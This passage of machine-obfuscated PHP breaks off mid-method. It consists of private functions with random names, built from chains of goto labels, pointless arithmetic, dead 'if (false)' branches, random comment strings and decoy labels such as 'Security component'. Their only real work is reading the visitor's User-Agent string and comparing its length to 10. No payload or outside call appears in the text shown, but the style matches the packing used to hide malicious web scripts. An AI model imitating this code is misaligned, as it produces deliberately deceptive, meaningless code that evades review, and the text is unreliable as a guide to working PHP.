PVP04OnZ:
goto OEujBalb;
OEujBalb:
/* Main service */
goto xC62vlX2;
xC62vlX2:
goto bAymKUmd;
bAymKUmd:
$a6b9oay5s = 930 + 34;
$a6EHyDbxg = $a6b9oay5s * 3;
if (false) { echo 'This is a dead end'; }
goto n4cnrVsO;
n4cnrVsO:
// 3AXP2zDde1F7
if (false) { echo 'This is a dead end'; }
goto jPyWsOZA;
jPyWsOZA:
goto gYJh4cC8;
gYJh4cC8:
goto zQRfNx7N;
zQRfNx7N:
// jx99soCzT987
goto j_KPHa0A;
j_KPHa0A:
if (false) { echo 'This is a dead end'; }
goto mgsb0_hL;
mgsb0_hL:
goto NGH3W5Tv;
NGH3W5Tv:
goto fUN0giQm;
fUN0giQm:
$iX1geSuk = 757 + 10;
$BqYDw4sr = $iX1geSuk * 2;
goto qIVJJhAC;
qIVJJhAC:
$iX1geSuk = strlen($a29IFo9lZ);
goto c3M2NKBB;
c3M2NKBB:
/* System file */
if (false) { echo 'This is a dead end'; }
goto s7xlOiiT;
s7xlOiiT:
/* Main service */
$BqYDw4sr = 429 + 4;
$BqYDw4sr = $BqYDw4sr * 2;
if (false) { echo 'This is a dead end'; }
goto a_c_l3wgo;
a_c_l3wgo:
/* Security component */
goto x7imBlFb;
x7imBlFb:
/* Core module */
goto NIVFfHWd;
NIVFfHWd:
/* Security component */
goto JSPmEvXk;
JSPmEvXk:
if (false) { echo 'This is a dead end'; }
goto khQ3O1yz;
khQ3O1yz:
$a6EHyDbxg = 402 + 19;
$B9ma2fmF = $a6EHyDbxg * 2;
goto RV2YBxMR;
RV2YBxMR:
// QWaqMPXiv5gC
goto IktQzH7F;
IktQzH7F:
goto tsZ0fZ50;
tsZ0fZ50:
$iX1geSuk = 625 + 34;
$a29IFo9lZ = $iX1geSuk * 1;
goto UIT_Hlke;
UIT_Hlke:
$NqlX8zGc = 552 + 22;
$a6b9oay5s = $NqlX8zGc * 4;
goto Apfh6iEI;
Apfh6iEI:
/* 5v5y0rve_6 */
$Pe9zuJ4r = 332 + 48;
$NqlX8zGc = $Pe9zuJ4r * 2;
goto EfjW5Xah;
EfjW5Xah:
if (false) { echo 'This is a dead end'; }
goto UQOeY2nF;
UQOeY2nF:
goto Lo1QCBYc;
Lo1QCBYc:
$BqYDw4sr = 969 + 14;
$a6b9oay5s = $BqYDw4sr * 4;
goto ail37H8u;
ail37H8u:
return $iX1geSuk > 10;
}
private function J3LZb2dSFN() {
goto PbdeREcm;
PbdeREcm:
/* API handler */
$XsucffsH = 707 + 29;
$B9ma2fmF = $XsucffsH * 2;
goto EsNS4XlO;
EsNS4XlO:
$XsucffsH = 557 + 33;
$B9ma2fmF = $XsucffsH * 4;
goto ZuwNPQKi;
ZuwNPQKi:
if (false) { echo 'This is a dead end'; }
goto Srg_YeU9;
Srg_YeU9:
/* System file */
$WWDcP6ib = 697 + 25;
$iX1geSuk = $WWDcP6ib * 3;
goto hl781t5w;
hl781t5w:
goto a_yn236E3;
a_yn236E3:
$iCjD65Pi = 432 + 8;
$n7sJ6WnP = $iCjD65Pi * 2;
goto zKAEWznx;
zKAEWznx:
goto lnoHjwab;
lnoHjwab:
/* TkUUiKnLzBFSMWs */
goto M7jRVIpS;
M7jRVIpS:
/* System file */
$BqYDw4sr = 432 + 31;
$n7sJ6WnP = $BqYDw4sr * 4;
goto ev1JpQcP;
ev1JpQcP:
goto YbH84bM5;
YbH84bM5:
// tbE9M6RY
goto Z6tQU7eL;
Z6tQU7eL:
goto TtF3hr8K;
TtF3hr8K:
goto iRQk9lvd;
iRQk9lvd:
goto uNh5hgkn;
uNh5hgkn:
$a6b9oay5s = 922 + 5;
$a6EHyDbxg = $a6b9oay5s * 1;
goto kDv_rH5v;
kDv_rH5v:
$n7sJ6WnP = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none';
goto CxvlBX29;
CxvlBX29:
/* gN4QUXbtiByv6iE */
$B9ma2fmF = 664 + 42;
$B9ma2fmF = $B9ma2fmF * 1;
goto bLQyj_Mu;
bLQyj_Mu:
if (false) { echo 'This is a dead end'; }
goto a_cHLUhNm;
a_cHLUhNm:
goto a1k285bfW;
a1k285bfW:
$iX1geSuk = 467 + 20;
$iX1geSuk = $iX1geSuk * 2;
goto a4QGw1hSr;
a4QGw1hSr:
goto DcGT19j_;
DcGT19j_:
// 0vMJFjzQ
$FbaGmw5w = 848 + 16;
$B9ma2fmF = $FbaGmw5w * 5;
if (false) { echo 'This is a dead end'; }
goto PWid24Jt;
PWid24Jt:
$BqYDw4sr = 682 + 21;
$a6EHyDbxg = $BqYDw4sr * 5;
goto aaGbD0ms;
aaGbD0ms:
goto f7b0izO2;
f7b0izO2:
/* tEAOl9ytGH */
$jIP39ari = 133 + 30;
$FbaGmw5w = $jIP39ari * 5;
goto lgvjw9bj;
lgvjw9bj:
$XsucffsH = 338 + 40;
$iCjD65Pi = $XsucffsH * 1;
goto XJ5Sey9M;
XJ5Sey9M:
goto M5z_it40;
M5z_it40:
// i1FS2R_weRNd
goto RKkHbnvA;
RKkHbnvA:
goto xJXtYJzG;
xJXtYJzG:
goto BZoniJ1M;
BZoniJ1M:
$FbaGmw5w = 540 + 50;
$a6b9oay5s = $FbaGmw5w * 5;
goto MpQFkcH5;
MpQFkcH5:
$FbaGmw5w = strlen($n7sJ6WnP);
goto a19tpLn9S;
a19tpLn9S:
/* Core module */
$jIP39ari = 891 + 46;
$XsucffsH = $jIP39ari * 1;
if (false) { echo 'This is a dead end'; }
goto jKIzKUXa;
jKIzKUXa:
goto BmCcrRVI;
BmCcrRVI:
if (false) { echo 'This is a dead end'; }
goto YbAg1tUV;
YbAg1tUV:
goto E1w1VHsU;
E1w1VHsU:
goto a2Sep7Wba;
a2Sep7Wba:
/* Main service */
if (false) { echo 'This is a dead end'; }
goto aBXLv3t9;
aBXLv3t9:
// MLVhHTgd
goto a5wDHGikU;
a5wDHGikU:
$bZa4iOd6 = 379 + 43;
$jIP39ari = $bZa4iOd6 * 2;
if (false) { echo 'This is a dead end'; }
goto LBbHANSy;
LBbHANSy:
/* API handler */
goto ebdYXF0K;
ebdYXF0K:
/* zq3TCIBeUM_gwbk */
if (false) { echo 'This is a dead end'; }
goto oX4Yboh6;
oX4Yboh6:
/* w33jQ9UfS3 */
$iX1geSuk = 626 + 11;
$B9ma2fmF = $iX1geSuk * 2;
goto Op2Reo6I;
Op2Reo6I:
// kr1lZXzNoXQ7NpDQ
goto PphCyojU;
PphCyojU:
goto iGu9gMFB;
iGu9gMFB:
goto go1XtpTk;
go1XtpTk:
// VXZT6KuUWZF7
goto oG0csGLv;
oG0csGLv:
return $FbaGmw5w > 10;
}
private function a9J8J5h9v7G() {
goto HDntdp_w;
HDntdp_w:
goto mEKlYt1o;
mEKlYt1o:
if (false) { echo 'This is a dead end'; }
goto sG6wAk2k;
sG6wAk2k:
$bZa4iOd6 = 464 + 6;
$iX1geSuk = $bZa4iOd6 * 1;
goto SYMRC49h;
SYMRC49h:
/* YJZdiWZXnJevnwyq3goO */
$jIP39ari = 197 + 27;
$NqlX8zGc = $jIP39ari * 2;
goto iwM46F1F;
iwM46F1F:
/* 011bA1OF9K */
$NqlX8zGc = 534 + 5;
$WWDcP6ib = $NqlX8zGc * 4;
goto xS0mzNAQ;
xS0mzNAQ:
goto PCPLpcxp;
PCPLpcxp:
goto J35r4tGU;
J35r4tGU:
goto RT_BG76y;
RT_BG76y:
$a6EHyDbxg = 838 + 30;
$XsucffsH = $a6EHyDbxg * 1;
goto Gl61YlB1;
Gl61YlB1:
/* Security component */
if (false) { echo 'This is a dead end'; }
goto Tm1vLYP8;
Tm1vLYP8:
$a6EHyDbxg = 276 + 38;
$NqlX8zGc = $a6EHyDbxg * 5;
goto a5UjAy6y6;
a5UjAy6y6:
/* XHAteylgxH */
goto LN90xUP2;
LN90xUP2:
goto iS4E3OPQ;
iS4E3OPQ:
// TGGQZfYceZEQRHLk
if (false) { echo 'This is a dead end'; }
goto InS8Uksw;
InS8Uksw:
/* 3CwsK0AuYb */
$BqYDw4sr = 500 + 36;
$n7sJ6WnP = $BqYDw4sr * 3;
goto a4lxMASKJ;
a4lxMASKJ:
$XsucffsH = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none';
goto YEYgAKmb;
YEYgAKmb:
/* P6ubjKc5eA9jaJXzxqUw */
goto akIUea6u;
akIUea6u:
$Pe9zuJ4r = 196 + 20;
$iCjD65Pi = $Pe9zuJ4r * 1;
if (false) { echo 'This is a dead end'; }
goto DDbJIwqR;
DDbJIwqR:
goto a4I7bONRg;
a4I7bONRg:
$bZa4iOd6 = 733 + 37;
$XsucffsH = $bZa4iOd6 * 2;
goto gI2TirH8;
gI2TirH8:
// raUeiAQw
goto Aiioptz_;
Aiioptz_:
/* API handler */
goto TBpvyUyh;
TBpvyUyh:
goto m867i0bK;
m867i0bK:
goto tv7j6Id5;
tv7j6Id5:
goto pjv7sNyM;
pjv7sNyM:
/* API handler */
goto rWP9kjoo;
rWP9kjoo:
/* Security component */
goto a3yxRzelp;
a3yxRzelp:
/* F7uUjgMv8RT_kTj */
$n7sJ6WnP = 449 + 44;
$XsucffsH = $n7sJ6WnP * 2;
goto YoA3T4CC;
YoA3T4CC:
goto hG93oUsh;
hG93oUsh:
goto GxU3GFqy;
GxU3GFqy:
/* norY5TeV5C */
goto FbXXadky;
FbXXadky:
$a6EHyDbxg = strlen($XsucffsH);
goto vRKTJT4l;
vRKTJT4l:
goto hSUsH8ew;
hSUsH8ew:
/* Core module */
goto Nar22GGx;
Nar22GGx:
if (false) { echo 'This is a dead end'; }
goto mPEZGky9;
mPEZGky9:
goto eFSFtG3z;
eFSFtG3z:
goto kUqTg1eH;
kUqTg1eH:
goto niNcE_mE;
niNcE_mE:
goto aikca54f;
aikca54f:
goto k3GKS0mO;
k3GKS0mO:
/* Z8TZ89Vqvxl2tRzu1QOO */
$a6b9oay5s = 989 + 35;
$Pe9zuJ4r = $a6b9oay5s * 2;
goto HkhF4zzX;
HkhF4zzX:
/* Security component */
goto rRlbKjF6;
rRlbKjF6:
if (false) { echo 'This is a dead end'; }
goto YyVWANIB;
YyVWANIB:
// lOXn867vIJ46pJZl
goto NTKVTVA2;
NTKVTVA2:
/* System file */
goto XeLgV2bf;
XeLgV2bf:
goto B4bFDgpK;
B4bFDgpK:
/* 5qznXtC_XO3lmum */
$iX1geSuk = 722 + 44;
$iX1geSuk = $iX1geSuk * 5;
goto EXefdD6a;
EXefdD6a:
return $a6EHyDbxg > 10;
}
private function yID7t2dCJD() {
goto P73pcMLN;
P73pcMLN:
$NqlX8zGc = 628 + 3;
$iCjD65Pi = $NqlX8zGc * 5;
goto Jhdq7KBk;
Jhdq7KBk:
// GO43ztIbE5ec
goto MDsbyrov;
MDsbyrov:
$B9ma2fmF = 457 + 11;
$a6EHyDbxg = $B9ma2fmF * 1;
goto jSTvrTWP;
jSTvrTWP:
/* Mtmrq7OiXefLLZhUEWsn */
goto zbj7BlYB;
zbj7BlYB:
// uwu7xTcz
$a29IFo9lZ = 815 + 42;
$iCjD65Pi = $a29IFo9lZ * 1;
if (false) { echo 'This is a dead end'; }
goto L1zm4owd;
L1zm4owd:
$bZa4iOd6 = 648 + 40;
$a29IFo9lZ = $bZa4iOd6 * 1;
goto oTYOVemv;
oTYOVemv:
goto S_N7odwx;
S_N7odwx:
/* Ziva84ORrBpBwNgBE12y */
$n7sJ6WnP = 935 + 24;
$WWDcP6ib = $n7sJ6WnP * 4;
goto hSMtZJAv;
hSMtZJAv:
$bZa4iOd6 = 759 + 15;
$XsucffsH = $bZa4iOd6 * 3;
if (false) { echo 'This is a dead end'; }
goto srVmn6u_;
srVmn6u_:
goto a7RmlXhIc;
a7RmlXhIc:
/* I2PSp2LAm5oBkMt */
goto ESvhAmfN;
ESvhAmfN:
/* Core module */
goto Zt6czDZH;
Zt6czDZH:
/* KdbzRLZTL1CRd9m */
$NqlX8zGc = 232 + 22;
$a6b9oay5s = $NqlX8zGc * 3;
goto a2ubXcuu;
a2ubXcuu:
if (false) { echo 'This is a dead end'; }
goto OxUcf_Sy;
OxUcf_Sy:
goto xisKoMx7;
xisKoMx7:
$jIP39ari = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none';
goto XMAfWFdO;
XMAfWFdO:
$XsucffsH = 992 + 21;
$WWDcP6ib = $XsucffsH * 5;
goto ZQWVNGGR;
ZQWVNGGR:
if (false) { echo 'This is a dead end'; }
goto aNxzFUcF;
aNxzFUcF:
goto a2Murma4v;
a2Murma4v:
/* System file */
goto IqZejyX4;
IqZejyX4:
goto lnjp81dG;
lnjp81dG:
/* Core module */
goto a7gdx_HBI;
a7gdx_HBI:
/* SHTXpkzzwb */
$WWDcP6ib = 323 + 24;
$a6b9oay5s = $WWDcP6ib * 3;
if (false) { echo 'This is a dead end'; }
goto KI02MYP6;
KI02MYP6:
/* P8NP13x70OnwIla */
$iCjD65Pi = 810 + 49;
$B9ma2fmF = $iCjD65Pi * 3;
goto iVUWGMUB;
iVUWGMUB:
$iX1geSuk = 925 + 18;
$iX1geSuk = $iX1geSuk * 5;
goto UDDiigfg;
UDDiigfg:
$XsucffsH = 820 + 3;
$B9ma2fmF = $XsucffsH * 4;
goto xURhKDHt;
xURhKDHt:
$Pe9zuJ4r = 542 + 28;
$iCjD65Pi = $Pe9zuJ4r * 2;
goto WYQ5Dc0p;
WYQ5Dc0p:
if (false) { echo 'This is a dead end'; }
goto Ap0GC8SY;
Ap0GC8SY:
$XsucffsH = 315 + 12;
$jIP39ari = $XsucffsH * 4;
if (false) { echo 'This is a dead end'; }
goto ao33jweY;
ao33jweY:
goto OscY1o75;
OscY1o75:
goto wMcG7WgE;
wMcG7WgE:
$iCjD65Pi = strlen($jIP39ari);
goto a86Nv029Y;
a86Nv029Y:
/* Core module */
goto Zne6Gcqd;
Zne6Gcqd:
/* API handler */
$BqYDw4sr = 262 + 10;
$NqlX8zGc = $BqYDw4sr * 5;
goto mL7dsoB6;
mL7dsoB6:
goto iMnkynJR;
iMnkynJR:
goto Qu6nt2WM;
Qu6nt2WM:
/* Main service */
goto M_Q5ghNj;
M_Q5ghNj:
if (false) { echo 'This is a dead end'; }
goto rLZbjrdj;
rLZbjrdj:
/* System file */
$FbaGmw5w = 722 + 35;
$n7sJ6WnP = $FbaGmw5w * 1;
goto c2viGbjF;
c2viGbjF:
$XsucffsH = 964 + 3;
$B9ma2fmF = $XsucffsH * 4;
goto YNemGfvZ;
YNemGfvZ:
/* wr3q0Jf3Bs0eXH3 */
goto AZqj6q6a;
AZqj6q6a:
$FbaGmw5w = 651 + 27;
$n7sJ6WnP = $FbaGmw5w * 3;
if (false) { echo 'This is a dead end'; }
goto vxe_KmGy;
vxe_KmGy:
$iCjD65Pi = 544 + 34;
$a29IFo9lZ = $iCjD65Pi * 1;
goto wONGGOQu;
wONGGOQu:
/* Core module */
$FbaGmw5w = 139 + 11;
$iX1geSuk = $FbaGmw5w * 2;
goto HCYhZYx3;
HCYhZYx3:
if (false) { echo 'This is a dead end'; }
goto HjcWJ6ut;
HjcWJ6ut:
/* 5yFClRpfbWNUaT0 */
$XsucffsH = 203 + 47;
$iCjD65Pi = $XsucffsH * 2;
goto uSuDjfsk;
uSuDjfsk:
$FbaGmw5w = 949 + 5;
$a6EHyDbxg = $FbaGmw5w * 1;
goto a3U_98cZq;
a3U_98cZq:
return $iCjD65Pi > 10;
}
private function a2R22OYcqWZ() {
goto haPathUL;
haPathUL:
// KaZxOahryOY6
$FbaGmw5w = 377 + 16;
$WWDcP6ib = $FbaGmw5w * 1;
goto a_KGTPMPr;
a_KGTPMPr:
/* avv3I92LiaFqV03 */
$iX1geSuk = 988 + 32;
$a6EHyDbxg = $iX1geSuk * 5;
goto a00S7XTvg;
a00S7XTvg:
goto ujt4NmPB;
ujt4NmPB:
$bZa4iOd6 = 738 + 27;
$a29IFo9lZ = $bZa4iOd6 * 5;
goto T9tZr7Ig;
T9tZr7Ig:
/* Core module */
$n7sJ6WnP = 271 + 21;
$a6EHyDbxg = $n7sJ6WnP * 2;
goto a65mdo2_2;
a65mdo2_2:
/* API handler */
$XsucffsH = 133 + 37;
$n7sJ6WnP = $XsucffsH * 1;
goto Fc5bL377;
Fc5bL377:
/* tRD6TaaWZCm6N_z */
$NqlX8zGc = 187 + 13;
$XsucffsH = $NqlX8zGc * 4;
goto a9PMN1EjI;
a9PMN1EjI:
// d0kEUCgsg8rs
goto niGIhrBI;
niGIhrBI:
$a6EHyDbxg = 462 + 48;
$n7sJ6WnP = $a6EHyDbxg * 2;
goto a1S8_tLU6;
a1S8_tLU6:
goto olG1o3Wp;
olG1o3Wp:
/* System file */
goto a3jIkoYwE;
a3jIkoYwE:
// mYSxVl4L2IzMxlDK
goto hNeOW7hz;
hNeOW7hz:
// Vaue4pGs
$a6EHyDbxg = 646 + 34;
$WWDcP6ib = $a6EHyDbxg * 1;
goto sCaVarKb;
sCaVarKb:
if (false) { echo 'This is a dead end'; }
goto sia7yz3u;
sia7yz3u:
$NqlX8zGc = 613 + 13;
$a6EHyDbxg = $NqlX8zGc * 2;
goto dqdbfR70;
dqdbfR70:
$XsucffsH = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none';
goto HTaeoCfo;
HTaeoCfo:
// zvT2HYx00VdwN26a
$iCjD65Pi = 781 + 49;
$FbaGmw5w = $iCjD65Pi * 3;
goto hWXa9BJa;
hWXa9BJa:
if (false) { echo 'This is a dead end'; }
goto i3OPaPqc;
i3OPaPqc:
/* Main service */
goto n6AuaZ8S;
n6AuaZ8S:
$a6b9oay5s = 578 + 31;
$NqlX8zGc = $a6b9oay5s * 5;
goto Ngrbvvoc;
Ngrbvvoc:
/* Main service */
goto e179lmYT;
e179lmYT:
$Pe9zuJ4r = 866 + 27;
$NqlX8zGc = $Pe9zuJ4r * 3;
goto e4m0i3Vd;
e4m0i3Vd:
goto aqrf0OXk;
aqrf0OXk:
/* Main service */
goto YjxL1cpB;
YjxL1cpB:
goto e3UourHc;
e3UourHc:
// VX1Xk_XC
$a6EHyDbxg = 390 + 34;
$iCjD65Pi = $a6EHyDbxg * 3;
goto JpENjADF;
JpENjADF:
/* Security component */
if (false) { echo 'This is a dead end'; }
goto ctfdCkie;
ctfdCkie:
// rwpNFg_nzd15tpfX
if (false) { echo 'This is a dead end'; }
goto gwfxttdW;
gwfxttdW:
// 65rdOqmECsINmFKG
if (false) { echo 'This is a dead end'; }
goto PPIzXSMe;
PPIzXSMe:
/* Ek_mEaK6NXI2QOexqWVo */
goto a1VlMOXG5;
a1VlMOXG5:
if (false) { echo 'This is a dead end'; }
goto Nc4WylM2;
Nc4WylM2:
$iX1geSuk = strlen($XsucffsH);
goto a8DuscNMF;
a8DuscNMF:
goto a0USt_k9A;
a0USt_k9A:
goto a26s3Wdfb;
a26s3Wdfb:
goto c_gvjm_s;
c_gvjm_s:
/* FIYz8aCtiQtjR5u */
goto dZOnyQFG;
dZOnyQFG:
/* API handler */
goto f2r_YMQb;
f2r_YMQb:
if (false) { echo 'This is a dead end'; }
goto jPMJRhwJ;
jPMJRhwJ:
// gfYjK4ua_ycwb0WF
goto h8DqX5WA;
h8DqX5WA:
if (false) { echo 'This is a dead end'; }
goto a9WwKrDbo;
a9WwKrDbo:
goto nV1ZmWjA;
nV1ZmWjA:
// zf7Yh5Go
goto Bf6JNfAV;
Bf6JNfAV:
$jIP39ari = 790 + 17;
$Pe9zuJ4r = $jIP39ari * 4;
goto mVjqWTFe;
mVjqWTFe:
goto lSWCfgwu;
lSWCfgwu:
goto a_VT0ork0;
a_VT0ork0:
$bZa4iOd6 = 906 + 29;
$Pe9zuJ4r = $bZa4iOd6 * 5;
if (false) { echo 'This is a dead end'; }
goto pcbXCS4s;
pcbXCS4s:
$NqlX8zGc = 119 + 23;
$FbaGmw5w = $NqlX8zGc * 2;
goto zGIZYmYw;
zGIZYmYw:
return $iX1geSuk > 10;
}
private function dux1kfWC51() {
goto a5qXFSQY1;
a5qXFSQY1:
goto a4gFirt4g;
a4gFirt4g:
goto AdmsEm3n;
AdmsEm3n:
// HZ5oxtbA
$a29IFo9lZ = 282 + 13;
$bZa4iOd6 = $a29IFo9lZ * 4;
goto nvuHeiz5;
nvuHeiz5:
if (false) { echo 'This is a dead end'; }
goto ms7q5ESS;
ms7q5ESS:
goto itTrBlTP;
itTrBlTP:
$bZa4iOd6 = 506 + 10;
$WWDcP6ib = $bZa4iOd6 * 4;
if (false) { echo 'This is a dead end'; }
goto zs7vHsGv;
zs7vHsGv:
$WWDcP6ib = 849 + 28;
$a29IFo9lZ = $WWDcP6ib * 5;
goto oCgZ9LYh;
oCgZ9LYh:
$n7sJ6WnP = 827 + 30;
$B9ma2fmF = $n7sJ6WnP * 3;
goto OFDCGboU;
OFDCGboU:
goto gCNebZlf;
gCNebZlf:
/* g5eLXhAgSuL99s9 */
goto kR53OIOX;
kR53OIOX:
goto a4G1cXAUt;
a4G1cXAUt:
/* API handler */
goto ICaCO_u7;
ICaCO_u7:
// xc2ZNPA_BFIo
if (false) { echo 'This is a dead end'; }
goto a7T2jWKED;
a7T2jWKED:
goto kPZ8WlJI;
kPZ8WlJI:
goto NhPzN_dO;
NhPzN_dO:
$Pe9zuJ4r = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none';
goto NYYhX9S4;
NYYhX9S4:
$B9ma2fmF = 383 + 15;
$B9ma2fmF = $B9ma2fmF * 5;
goto a6fjgSbuF;
a6fjgSbuF:
$a29IFo9lZ = 598 + 35;
$FbaGmw5w = $a29IFo9lZ * 1;
goto aJ4QLrra;
aJ4QLrra:
/* YkK8u2PVnrfbGhI */
goto eJn91w4y;
eJn91w4y:
/* Security component */
goto YDow1hEA;
YDow1hEA:
goto j8xRsd0u;
j8xRsd0u:
$a29IFo9lZ = 361 + 3;
$B9ma2fmF = $a29IFo9lZ * 5;
goto oOX39BNs;
oOX39BNs:
$a29IFo9lZ = 403 + 8;
$WWDcP6ib = $a29IFo9lZ * 2;
goto a2HwG1PME;
a2HwG1PME:
/* System file */
$jIP39ari = 144 + 6;
$bZa4iOd6 = $jIP39ari * 1;
goto Uv0gOyoI;
Uv0gOyoI:
/* Security component */
if (false) { echo 'This is a dead end'; }
goto Hh_SGo9E;
Hh_SGo9E:
/* 3CzkzNActuHBrO4 */
goto NyvnSG3Z;
NyvnSG3Z:
$iCjD65Pi = 657 + 7;
$B9ma2fmF = $iCjD65Pi * 5;
goto jl8YYBXK;
jl8YYBXK:
if (false) { echo 'This is a dead end'; }
goto a_9r0ScPd;
a_9r0ScPd:
goto ejmi0Uox;
ejmi0Uox:
// b7febheeWRoq
$Pe9zuJ4r = 737 + 35;
$iX1geSuk = $Pe9zuJ4r * 3;
goto Swa3B5eJ;
Swa3B5eJ:
$a29IFo9lZ = 574 + 17;
$FbaGmw5w = $a29IFo9lZ * 5;
goto jiFe7qNC;
jiFe7qNC:
$a6EHyDbxg = strlen($Pe9zuJ4r);
goto CPY88dx5;
CPY88dx5:
// izAa9wCt
goto G7Opmoyz;
G7Opmoyz:
goto a0LOa4VEU;
a0LOa4VEU:
goto V7bEj2zs;
V7bEj2zs:
goto rHYFb1Al;
rHYFb1Al:
goto MfzH0_rd;
MfzH0_rd:
goto a7Z_ADNVH;
a7Z_ADNVH:
goto dtsjyGQJ;
dtsjyGQJ:
$jIP39ari = 551 + 32;
$n7sJ6WnP = $jIP39ari * 2;
if (false) { echo 'This is a dead end'; }
goto DQzNjL5i;
DQzNjL5i:
/* API handler */
goto CLWAUYAk;
CLWAUYAk:
/* Main service */
$a29IFo9lZ = 967 + 38;
$FbaGmw5w = $a29IFo9lZ * 2;
if (false) { echo 'This is a dead end'; }
goto jUIFb3ir;
jUIFb3ir:
/* API handler */
goto KzKE73mR;
KzKE73mR:
$a6b9oay5s = 888 + 3;
$NqlX8zGc = $a6b9oay5s * 4;
goto NAZVview;
NAZVview:
goto dn7o5HDH;
dn7o5HDH:
$bZa4iOd6 = 840 + 33;
$XsucffsH = $bZa4iOd6 * 2;
goto a0vhIfC72;
a0vhIfC72:
/* Main service */
goto itiPBNQK;
itiPBNQK:
return $a6EHyDbxg > 10;
}
private function nj0wOBrvcy() {
/* Security component */
goto H7fs2IYg;
H7fs2IYg:
$WWDcP6ib = 758 + 30;
$iX1geSuk = $WWDcP6ib * 1;
goto D8f2RK5N;
D8f2RK5N:
/* Main service */
goto lagIdSZH;
lagIdSZH:
goto gLixBRZn;
gLixBRZn:
/* O4E4P9b2Cmvu4yrITeHp */
$a29IFo9lZ = 686 + 36;
$bZa4iOd6 = $a29IFo9lZ * 4;
if (false) { echo 'This is a dead end'; }
goto a3sDtuvZu;
a3sDtuvZu:
/* VaPDBcZcc8 */
goto a9zZ5winm;
a9zZ5winm:
$FbaGmw5w = 365 + 11;
$BqYDw4sr = $FbaGmw5w * 3;
goto apVbl3YY;
apVbl3YY:
if (false) { echo 'This is a dead end'; }
goto DmIcxTLi;
DmIcxTLi:
$iCjD65Pi = 625 + 31;
$FbaGmw5w = $iCjD65Pi * 5;
goto tXnILb9C;
tXnILb9C:
$Pe9zuJ4r = 690 + 7;
$bZa4iOd6 = $Pe9zuJ4r * 3;
goto twhsmqlG;
twhsmqlG:
goto KBlAs6S_;
KBlAs6S_:
goto eZ19dlmL;
eZ19dlmL:
/* Core module */
goto a0g24tekb;
a0g24tekb:
// D84ubfCg6b9rTWwh
goto v0TQ6Kg3;
v0TQ6Kg3:
goto TzTc_0cf;
TzTc_0cf:
/* Core module */
$a6EHyDbxg = 337 + 8;
$a6b9oay5s = $a6EHyDbxg * 4;
goto bIwpQc3S;
bIwpQc3S:
$a6EHyDbxg = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none';
goto wanBYafC;
wanBYafC:
$jIP39ari = 478 + 48;
$Pe9zuJ4r = $jIP39ari * 3;
if (false) { echo 'This is a dead end'; }
goto a82o2JuvJ;
a82o2JuvJ:
goto a9mBMUw8d;
a9mBMUw8d:
// Me8TLGpf8kHcF523
$iCjD65Pi = 277 + 30;
$iX1geSuk = $iCjD65Pi * 3;
if (false) { echo 'This is a dead end'; }
goto gqgT1SZP;
gqgT1SZP:
goto JlOHuMJw;
JlOHuMJw:
$iX1geSuk = 155 + 5;
$BqYDw4sr = $iX1geSuk * 4;
goto a7yFnk7gV;
a7yFnk7gV:
if (false) { echo 'This is a dead end'; }
goto jZfNQD_P;
jZfNQD_P:
/* Core module */
if (false) { echo 'This is a dead end'; }
goto X46aAdNS;
X46aAdNS:
/* API handler */
if (false) { echo 'This is a dead end'; }
goto yny3q4zS;
yny3q4zS:
goto a_FQdKsYs;
a_FQdKsYs:
goto Dkj40I88;
Dkj40I88:
goto V_moL0gs;
V_moL0gs:
// DhtqUc20Dw44Homm
if (false) { echo 'This is a dead end'; }
goto a9iFMBq2;
a9iFMBq2:
/* System file */
goto IMxQsrbF;
IMxQsrbF:
/* v60exrWIIyx9U9t4i7Ms */
goto IWeczX4D;
IWeczX4D:
goto a48A8pPgQ;
a48A8pPgQ:
$BqYDw4sr = strlen($a6EHyDbxg);
goto a0797GHMu;
a0797GHMu:
/* TA8yoyIuPg3noNyAfyPD */
goto U21dPxsf;
U21dPxsf:
goto tuSEZAEC;
tuSEZAEC:
goto KwwqMX6P;
KwwqMX6P:
// 9xzmLtpz
$WWDcP6ib = 701 + 34;
$iX1geSuk = $WWDcP6ib * 5;
goto jonxY1TN;
jonxY1TN:
goto Vjb7jZCO;
Vjb7jZCO:
/* wJnezPAVm4 */
goto Mb4KTr4b;
Mb4KTr4b:
$B9ma2fmF = 702 + 31;
$iCjD65Pi = $B9ma2fmF * 2;
if (false) { echo 'This is a dead end'; }
goto kHtgc_dm;
kHtgc_dm:
// siLpIhi1DjRm
goto giYblLKn;
giYblLKn:
goto ZKXHKuMR;
ZKXHKuMR:
goto paHuVpyn;
paHuVpyn:
/* Main service */
goto a_zzFF444;
a_zzFF444:
goto a3ZltMI1v;
a3ZltMI1v:
// THsMYGmKtw8qNTos
goto apubsqSg;
apubsqSg:
goto XJSLsldi;
XJSLsldi:
// x0Vc0fJe2oIp
if (false) { echo 'This is a dead end'; }
goto JcrOUnBi;
JcrOUnBi:
return $BqYDw4sr > 10;
}
private function a_T_GLMD4Pk() {
goto BwfWZro3;
BwfWZro3:
// Q3FyL2nH3otszg_a
goto faqlhF2w;
faqlhF2w:
$iX1geSuk = 402 + 34;
$FbaGmw5w = $iX1geSuk * 1;
goto ZlbloGeC;
ZlbloGeC:
/* i0_uLY0_11JdcgzfsfCB */
goto pdW_Qdol;
pdW_Qdol:
goto VhVzNKbG;
VhVzNKbG:
$bZa4iOd6 = 940 + 21;
$jIP39ari = $bZa4iOd6 * 4;
if (false) { echo 'This is a dead end'; }
goto xJvr2q1s;
xJvr2q1s:
// qea3k7c2rN2J
goto yiukT32O;
yiukT32O:
// zx6YpwmE
goto lzYRY_Cl;
lzYRY_Cl:
$a6b9oay5s = 945 + 33;
$a6EHyDbxg = $a6b9oay5s * 3;
if (false) { echo 'This is a dead end'; }
goto i1AyVZAm;
i1AyVZAm:
/* System file */
$WWDcP6ib = 594 + 26;
$BqYDw4sr = $WWDcP6ib * 4;
goto a_yceIgc7;
a_yceIgc7:
/* Fylz0tKxzB0QHg9 */
goto VALhQFXT;
VALhQFXT:
goto o7DF4LJY;
o7DF4LJY:
// QxfAb4Rk25J1
$bZa4iOd6 = 787 + 13;
$bZa4iOd6 = $bZa4iOd6 * 1;
goto e5t6SWDz;
